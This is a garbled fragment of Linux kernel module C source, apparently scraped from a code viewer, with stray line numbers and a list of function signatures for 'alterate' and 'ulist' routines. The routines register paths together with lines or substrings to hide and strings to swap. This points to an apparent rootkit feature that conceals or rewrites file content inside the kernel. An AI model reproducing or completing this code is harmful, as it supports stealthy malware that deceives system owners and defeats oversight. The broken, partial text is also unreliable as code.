23int alterate_add(
const char *path,
int hide_line,
const char *hide_substr,
24 const char *src,
const char *dst) {
29 if (strcmp(path,
"/") == 0)
32 if (strlen(path) >=
sizeof(modpath))
34 strscpy(modpath, path,
sizeof(modpath));
36 size_t len = strlen(modpath);
37 if (len > 1 && modpath[len - 1] ==
'/') {
38 modpath[len - 1] =
'\0';
41 scnprintf(payload,
sizeof(payload),
"%d:%s:%s:%s", hide_line,
42 hide_substr ?:
"", src ?:
"", dst ?:
"");
77 k_path = kmalloc(PATH_MAX, GFP_KERNEL);
81 n = strncpy_from_user(k_path, u_path, PATH_MAX);
88 k_path[PATH_MAX - 1] =
'\0';
int alterate_contains(const char __user *u_path)
int alterate_add(const char *path, int hide_line, const char *hide_substr, const char *src, const char *dst)
int alterate_remove(const char *path)
int alterate_list_get(char *buf, size_t buf_size)
#define ALTERATE_CFG_FILE
int ulist_add(struct ulist *ul, const char *value, u32 flags, const char *payload)
void ulist_clear(struct ulist *ul)
int ulist_load(struct ulist *ul)
int ulist_list(struct ulist *ul, char *buf, size_t buf_size)
int ulist_save(struct ulist *ul)
int ulist_remove(struct ulist *ul, const char *value)
int ulist_contains(struct ulist *ul, const char *value)
static void ulist_init(struct ulist *ul, const char *fname)